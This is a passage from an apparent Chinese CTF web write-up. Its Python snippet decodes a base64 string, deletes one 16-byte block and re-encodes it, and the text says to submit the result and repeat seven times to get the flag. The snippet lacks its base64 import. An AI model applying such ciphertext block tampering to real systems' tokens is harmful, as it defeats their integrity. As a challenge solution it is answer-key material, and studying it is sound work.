ori = "9W1Nmz/rFNIWAEe3rhb6NQUChjF3RBAtcTnbrw0SWxiO+bERJPRaEWubIX0dsWJC9SY3ADvDY0dCsJH4wPfZpHy7i1MGnMjvibMF3/H02v+sBLZGFeHqp71U+EOGb01aBYU551ISH4Utk2d3N5PGXId4IaV7xmvz5+AmtzT/nJQ="


def sep(num, data):
    res = []
    cnt = 0
    bb = bytearray()
    for i in data:
        bb.append(i)
        cnt += 1
        if cnt == num:
            cnt = 0
            res.append(bb)
            bb = bytearray()
    return res


if __name__ == '__main__':
    b64 = base64.b64decode(ori)
    r = sep(16, b64)
    r.remove(r[4])
    final = bytearray()
    for i in r:
        final.extend(i)
    print(base64.b64encode(final).decode())

将处理完毕的地址提交,重复搜索和处理七次,即可获得最后的flag。

# HTML  Python  Flask  CTF  WEB  PHP 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×